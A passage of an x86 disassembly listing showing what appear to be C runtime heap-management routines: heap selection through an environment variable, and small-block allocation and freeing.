pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41DB87: ; CODE XREF: sub_41DB50+26j xor eax, eax pop esi retn sub_41DB50 endp ; =============== S U B R O U T I N E ======================================= sub_41DB8B proc near ; CODE XREF: sub_41B05B+1Ap ; ___:0041D223p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41DBD8 test ax, 108h jz short loc_41DBD8 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41DBD8 push edi push eax push dword ptr [esi+10h] call sub_42291D add esp, 0Ch cmp eax, edi jnz short loc_41DBD1 mov eax, [esi+0Ch] test al, 80h jz short loc_41DBD8 and al, 0FDh mov [esi+0Ch], eax jmp short loc_41DBD8 ; --------------------------------------------------------------------------- loc_41DBD1: ; CODE XREF: sub_41DB8B+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41DBD8: ; CODE XREF: sub_41DB8B+14j ; sub_41DB8B+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41DB8B endp ; =============== S U B R O U T I N E ======================================= sub_41DBE7 proc near ; CODE XREF: sub_4239DBp push 1 call sub_41DBF0 pop ecx retn sub_41DBE7 endp ; =============== S U B R O U T I N E ======================================= sub_41DBF0 proc near ; CODE XREF: sub_41DB50+Ap ; sub_41DBE7+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_4DCC80, esi jle short loc_41DC4E loc_41DC01: ; CODE XREF: sub_41DBF0+5Cj mov eax, dword_4DBC78 mov eax, [eax+esi*4] test eax, eax jz short loc_41DC45 mov ecx, [eax+0Ch] test cl, 83h jz short loc_41DC45 cmp [esp+0Ch+arg_0], 1 jnz short loc_41DC2B push eax call sub_41DB50 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DC45 inc ebx jmp short loc_41DC45 ; --------------------------------------------------------------------------- loc_41DC2B: ; CODE XREF: sub_41DBF0+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41DC45 test cl, 2 jz short loc_41DC45 push eax call sub_41DB50 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41DC45 or edi, eax loc_41DC45: ; CODE XREF: sub_41DBF0+1Bj ; sub_41DBF0+23j ... inc esi cmp esi, dword_4DCC80 jl short loc_41DC01 loc_41DC4E: ; CODE XREF: sub_41DBF0+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41DC59 mov eax, edi loc_41DC59: ; CODE XREF: sub_41DBF0+65j pop edi pop esi pop ebx retn sub_41DBF0 endp ; =============== S U B R O U T I N E ======================================= sub_41DC5D proc near ; CODE XREF: ___:0041DDC0p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 nop call near ptr 26B0E4Bh cmp word ptr [eax], 5A4Dh jnz short loc_41DC88 mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41DC88 add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41DC88: ; CODE XREF: sub_41DC5D+15j ; sub_41DC5D+1Cj pop esi retn sub_41DC5D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 122Ch call sub_41BB20 lea eax, [ebp-98h] push ebx push eax mov dword ptr [ebp-98h], 94h nop call near ptr 270055Dh test eax, eax jz short loc_41DCCD cmp dword ptr [ebp-88h], 2 jnz short loc_41DCCD cmp dword ptr [ebp-94h], 5 jb short loc_41DCCD push 1 pop eax jmp loc_41DDCF ; --------------------------------------------------------------------------- loc_41DCCD: ; CODE XREF: ___:0041DCB1j ; ___:0041DCBAj ... lea eax, [ebp-122Ch] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" nop call near ptr 28E0000h test eax, eax jz loc_41DDBC xor ebx, ebx lea ecx, [ebp-122Ch] cmp [ebp-122Ch], bl jz short loc_41DD0F loc_41DCFC: ; CODE XREF: ___:0041DD0Dj mov al, [ecx] cmp al, 61h jl short loc_41DD0A cmp al, 7Ah jg short loc_41DD0A sub al, 20h mov [ecx], al loc_41DD0A: ; CODE XREF: ___:0041DD00j ; ___:0041DD04j inc ecx cmp [ecx], bl jnz short loc_41DCFC loc_41DD0F: ; CODE XREF: ___:0041DCFAj lea eax, [ebp-122Ch] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_41BE70 add esp, 0Ch test eax, eax jnz short loc_41DD31 lea eax, [ebp-122Ch] jmp short loc_41DD7A ; --------------------------------------------------------------------------- loc_41DD31: ; CODE XREF: ___:0041DD27j lea eax, [ebp-19Ch] push 104h push eax push ebx nop call near ptr 26A0000h cmp [ebp-19Ch], bl lea ecx, [ebp-19Ch] jz short loc_41DD65 loc_41DD52: ; CODE XREF: ___:0041DD63j mov al, [ecx] cmp al, 61h jl short loc_41DD60 cmp al, 7Ah jg short loc_41DD60 sub al, 20h mov [ecx], al loc_41DD60: ; CODE XREF: ___:0041DD56j ; ___:0041DD5Aj inc ecx cmp [ecx], bl jnz short loc_41DD52 loc_41DD65: ; CODE XREF: ___:0041DD50j lea eax, [ebp-19Ch] push eax lea eax, [ebp-122Ch] push eax call sub_41B900 pop ecx pop ecx loc_41DD7A: ; CODE XREF: ___:0041DD2Fj cmp eax, ebx jz short loc_41DDBC push 2Ch push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx jz short loc_41DDBC inc eax mov ecx, eax cmp [eax], bl jz short loc_41DDA1 loc_41DD93: ; CODE XREF: ___:0041DD9Fj cmp byte ptr [ecx], 3Bh jnz short loc_41DD9C mov [ecx], bl jmp short loc_41DD9D ; --------------------------------------------------------------------------- loc_41DD9C: ; CODE XREF: ___:0041DD96j inc ecx loc_41DD9D: ; CODE XREF: ___:0041DD9Aj cmp [ecx], bl jnz short loc_41DD93 loc_41DDA1: ; CODE XREF: ___:0041DD91j push 0Ah push ebx push eax call sub_41BBA6 add esp, 0Ch cmp eax, 2 jz short loc_41DDCF cmp eax, 3 jz short loc_41DDCF cmp eax, 1 jz short loc_41DDCF loc_41DDBC: ; CODE XREF: ___:0041DCE6j ; ___:0041DD7Cj ... lea eax, [ebp-4] push eax call sub_41DC5D cmp byte ptr [ebp-4], 6 pop ecx sbb eax, eax add eax, 3 loc_41DDCF: ; CODE XREF: ___:0041DCC8j ; ___:0041DDB0j ... pop ebx leave retn ; --------------------------------------------------------------------------- dw 0C033h dd 4439006Ah, 680824h, 0F000010h, 0E850C094h, 24D2218h dd 0A3C08590h, 4DCFE4h, 93E83674h, 83FFFFFEh, 0E8A303F8h dd 75004DCFh, 3F8680Dh, 24E80000h, 59000000h, 0F8830AEBh dd 0E8187502h, 0B5Eh, 0F75C085h, 0CFE435FFh, 0E890004Dh dd 24C3075h, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DCFE4h dd 21BEE890h, 0C085023Ch, 4DCFDCA3h, 0C3017500h, 4244C8Bh dd 0CFD42583h, 8300004Dh, 4DCFD825h, 16A0000h, 4DCFD0A3h dd 0E00D8900h, 0C7004DCFh, 4DCFC805h, 1000h db 0, 58h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41DE77 proc near ; CODE XREF: sub_41B0B1+17p ; sub_41B202+4Cp ... arg_0 = dword ptr 4 mov eax, dword_4DCFD8 lea ecx, [eax+eax*4] mov eax, dword_4DCFDC lea ecx, [eax+ecx*4] loc_41DE87: ; CODE XREF: sub_41DE77+26j cmp eax, ecx jnb short loc_41DE9F mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41DEA1 add eax, 14h jmp short loc_41DE87 ; --------------------------------------------------------------------------- loc_41DE9F: ; CODE XREF: sub_41DE77+12j xor eax, eax locret_41DEA1: ; CODE XREF: sub_41DE77+21j retn sub_41DE77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DEA2 proc near ; CODE XREF: sub_41B0B1+23p ; sub_41B202+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41E1C6 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41DF78 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41DF06 push 3Fh pop edx loc_41DF06: ; CODE XREF: sub_41DEA2+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41DF5A cmp edx, 20h jnb short loc_41DF31 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41DF52 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41DF52 ; --------------------------------------------------------------------------- loc_41DF31: ; CODE XREF: sub_41DEA2+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41DF52 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41DF52: ; CODE XREF: sub_41DEA2+86j ; sub_41DEA2+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41DF5D ; --------------------------------------------------------------------------- loc_41DF5A: ; CODE XREF: sub_41DEA2+6Aj mov ecx, [ebp+var_4] loc_41DF5D: ; CODE XREF: sub_41DEA2+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41DF78: ; CODE XREF: sub_41DEA2+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41DF86 push 3Fh pop edx loc_41DF86: ; CODE XREF: sub_41DEA2+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41E029 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41DFAB mov ebx, esi loc_41DFAB: ; CODE XREF: sub_41DEA2+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41DFBD mov edx, esi loc_41DFBD: ; CODE XREF: sub_41DEA2+117j cmp ebx, edx jz short loc_41E024 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41E00C cmp ebx, 20h jnb short loc_41DFED mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E00C mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41E00C ; --------------------------------------------------------------------------- loc_41DFED: ; CODE XREF: sub_41DEA2+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E00C mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41E00C: ; CODE XREF: sub_41DEA2+128j ; sub_41DEA2+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41E024: ; CODE XREF: sub_41DEA2+11Dj mov esi, [ebp+arg_4] jmp short loc_41E02C ; --------------------------------------------------------------------------- loc_41E029: ; CODE XREF: sub_41DEA2+EDj mov ebx, [ebp+arg_0] loc_41E02C: ; CODE XREF: sub_41DEA2+185j cmp [ebp+var_C], 0 jnz short loc_41E03A cmp ebx, edx jz loc_41E0BB loc_41E03A: ; CODE XREF: sub_41DEA2+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41E0BB mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41E092 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E081 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E081: ; CODE XREF: sub_41DEA2+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41E0BB ; --------------------------------------------------------------------------- loc_41E092: ; CODE XREF: sub_41DEA2+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E0A8 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E0A8: ; CODE XREF: sub_41DEA2+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41E0BB: ; CODE XREF: sub_41DEA2+192j ; sub_41DEA2+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41E1C6 mov eax, dword_4DCFD4 test eax, eax jz loc_41E1B8 mov ecx, dword_4DCFCC mov esi, dword_4271C0 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi mov ecx, dword_4DCFCC mov eax, dword_4DCFD4 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4DCFD4 mov ecx, dword_4DCFCC mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4DCFD4 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4DCFD4 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41E149 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4DCFD4 loc_41E149: ; CODE XREF: sub_41DEA2+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41E1B8 push ebx push 0 push dword ptr [eax+0Ch] call esi mov eax, dword_4DCFD4 push dword ptr [eax+10h] push 0 push dword_4DCFE4 nop call near ptr 27D0000h mov eax, dword_4DCFD8 mov edx, dword_4DCFDC lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4DCFD4 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_41CC90 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4DCFD8 cmp eax, dword_4DCFD4 jbe short loc_41E1AE sub [ebp+arg_0], 14h loc_41E1AE: ; CODE XREF: sub_41DEA2+306j mov eax, dword_4DCFDC mov dword_4DCFD0, eax loc_41E1B8: ; CODE XREF: sub_41DEA2+234j ; sub_41DEA2+2ABj mov eax, [ebp+arg_0] mov dword_4DCFCC, edi mov dword_4DCFD4, eax loc_41E1C6: ; CODE XREF: sub_41DEA2+38j ; sub_41DEA2+227j pop edi pop esi pop ebx leave retn sub_41DEA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E1CB proc near ; CODE XREF: sub_41B202+77p ; sub_41B513+18p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_4DCFD8 mov edx, dword_4DCFDC push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41E20B or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41E21B ; --------------------------------------------------------------------------- loc_41E20B: ; CODE XREF: sub_41E1CB+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41E21B: ; CODE XREF: sub_41E1CB+3Ej mov eax, dword_4DCFD0 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41E242 loc_41E229: ; CODE XREF: sub_41E1CB+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E242 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41E229 loc_41E242: ; CODE XREF: sub_41E1CB+5Cj ; sub_41E1CB+6Aj cmp ebx, [ebp+var_4] jnz short loc_41E2C0 mov ebx, edx loc_41E249: ; CODE XREF: sub_41E1CB+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E265 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E263 add ebx, 14h jmp short loc_41E249 ; --------------------------------------------------------------------------- loc_41E263: ; CODE XREF: sub_41E1CB+91j cmp ebx, eax loc_41E265: ; CODE XREF: sub_41E1CB+83j jnz short loc_41E2C0 loc_41E267: ; CODE XREF: sub_41E1CB+ADj cmp ebx, [ebp+var_4] jnb short loc_41E27D cmp dword ptr [ebx+8], 0 jnz short loc_41E27A add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41E267 ; --------------------------------------------------------------------------- loc_41E27A: ; CODE XREF: sub_41E1CB+A5j cmp ebx, [ebp+var_4] loc_41E27D: ; CODE XREF: sub_41E1CB+9Fj jnz short loc_41E2A5 mov ebx, edx loc_41E281: ; CODE XREF: sub_41E1CB+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E295 cmp dword ptr [ebx+8], 0 jnz short loc_41E293 add ebx, 14h jmp short loc_41E281 ; --------------------------------------------------------------------------- loc_41E293: ; CODE XREF: sub_41E1CB+C1j cmp ebx, eax loc_41E295: ; CODE XREF: sub_41E1CB+BBj jnz short loc_41E2A5 call sub_41E4D4 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41E2B9 loc_41E2A5: ; CODE XREF: sub_41E1CB:loc_41E27Dj ; sub_41E1CB:loc_41E295j push ebx call sub_41E585 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41E2C0 loc_41E2B9: ; CODE XREF: sub_41E1CB+D8j xor eax, eax jmp loc_41E4CF ; --------------------------------------------------------------------------- loc_41E2C0: ; CODE XREF: sub_41E1CB+7Aj ; sub_41E1CB:loc_41E265j ... mov dword_4DCFD0, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41E2E7 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E31E loc_41E2E7: ; CODE XREF: sub_41E1CB+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41E31B loc_41E304: ; CODE XREF: sub_41E1CB+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41E304 loc_41E31B: ; CODE XREF: sub_41E1CB+137j mov edx, [ebp+var_4] loc_41E31E: ; CODE XREF: sub_41E1CB+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41E347 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41E347: ; CODE XREF: sub_41E1CB+16Dj ; sub_41E1CB+183j test ecx, ecx jl short loc_41E350 shl ecx, 1 inc edi jmp short loc_41E347 ; --------------------------------------------------------------------------- loc_41E350: ; CODE XREF: sub_41E1CB+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41E36D push 3Fh pop esi loc_41E36D: ; CODE XREF: sub_41E1CB+19Dj cmp esi, edi jz loc_41E482 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E3DE cmp edi, 20h jge short loc_41E3AD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41E3DB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41E3DE ; --------------------------------------------------------------------------- loc_41E3AD: ; CODE XREF: sub_41E1CB+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41E3DB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41E3DE ; --------------------------------------------------------------------------- loc_41E3DB: ; CODE XREF: sub_41E1CB+1D6j ; sub_41E1CB+203j mov ebx, [ebp+arg_0] loc_41E3DE: ; CODE XREF: sub_41E1CB+1B0j ; sub_41E1CB+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41E48E mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E47F mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41E450 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E43E mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41E43E: ; CODE XREF: sub_41E1CB+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41E47F ; --------------------------------------------------------------------------- loc_41E450: ; CODE XREF: sub_41E1CB+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E469 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41E469: ; CODE XREF: sub_41E1CB+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41E47F: ; CODE XREF: sub_41E1CB+24Ej ; sub_41E1CB+283j mov ecx, [ebp+var_8] loc_41E482: ; CODE XREF: sub_41E1CB+1A4j test ecx, ecx jz short loc_41E491 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41E491 ; --------------------------------------------------------------------------- loc_41E48E: ; CODE XREF: sub_41E1CB+229j mov ecx, [ebp+var_8] loc_41E491: ; CODE XREF: sub_41E1CB+2B9j ; sub_41E1CB+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41E4C7 cmp ebx, dword_4DCFD4 jnz short loc_41E4C7 mov ecx, [ebp+var_4] cmp ecx, dword_4DCFCC jnz short loc_41E4C7 and dword_4DCFD4, 0 loc_41E4C7: ; CODE XREF: sub_41E1CB+2E0j ; sub_41E1CB+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41E4CF: ; CODE XREF: sub_41E1CB+F0j pop edi pop esi pop ebx leave retn sub_41E1CB endp ; =============== S U B R O U T I N E ======================================= sub_41E4D4 proc near ; CODE XREF: sub_41E1CB+CCp mov eax, dword_4DCFD8 mov ecx, dword_4DCFC8 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41E517 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_4DCFDC push edi push dword_4DCFE4 call near ptr 2890000h nop cmp eax, edi jz short loc_41E567 add dword_4DCFC8, 10h mov dword_4DCFDC, eax mov eax, dword_4DCFD8 loc_41E517: ; CODE XREF: sub_41E4D4+11j mov ecx, dword_4DCFDC push 41C4h push 8 lea eax, [eax+eax*4] push dword_4DCFE4 lea esi, [ecx+eax*4] call near ptr 27E0000h nop cmp eax, edi mov [esi+10h], eax jz short loc_41E567 push 4 push 2000h push 100000h push edi call near ptr 28F06FDh nop cmp eax, edi mov [esi+0Ch], eax jnz short loc_41E56B push dword ptr [esi+10h] push edi push dword_4DCFE4 nop call near ptr 27D0000h loc_41E567: ; CODE XREF: sub_41E4D4+30j ; sub_41E4D4+67j xor eax, eax jmp short loc_41E582 ; --------------------------------------------------------------------------- loc_41E56B: ; CODE XREF: sub_41E4D4+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_4DCFD8 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41E582: ; CODE XREF: sub_41E4D4+95j pop edi pop esi retn sub_41E4D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E585 proc near ; CODE XREF: sub_41E1CB+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41E597: ; CODE XREF: sub_41E585+19j test eax, eax jl short loc_41E5A0 shl eax, 1 inc ebx jmp short loc_41E597 ; --------------------------------------------------------------------------- loc_41E5A0: ; CODE XREF: sub_41E585+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41E5B5: ; CODE XREF: sub_41E585+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41E5B5 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi call near ptr 28F06FDh nop test eax, eax jnz short loc_41E5E8 or eax, 0FFFFFFFFh jmp loc_41E67B ; --------------------------------------------------------------------------- loc_41E5E8: ; CODE XREF: sub_41E585+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41E62E lea eax, [edi+10h] loc_41E5F5: ; CODE XREF: sub_41E585+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41E5F5 loc_41E62E: ; CODE XREF: sub_41E585+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41E66B or [eax+4], edi loc_41E66B: ; CODE XREF: sub_41E585+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41E67B: ; CODE XREF: sub_41E585+5Ej pop edi pop esi pop ebx leave retn sub_41E585 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E680 proc near ; CODE XREF: sub_41B202+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41E82E test bl, 1 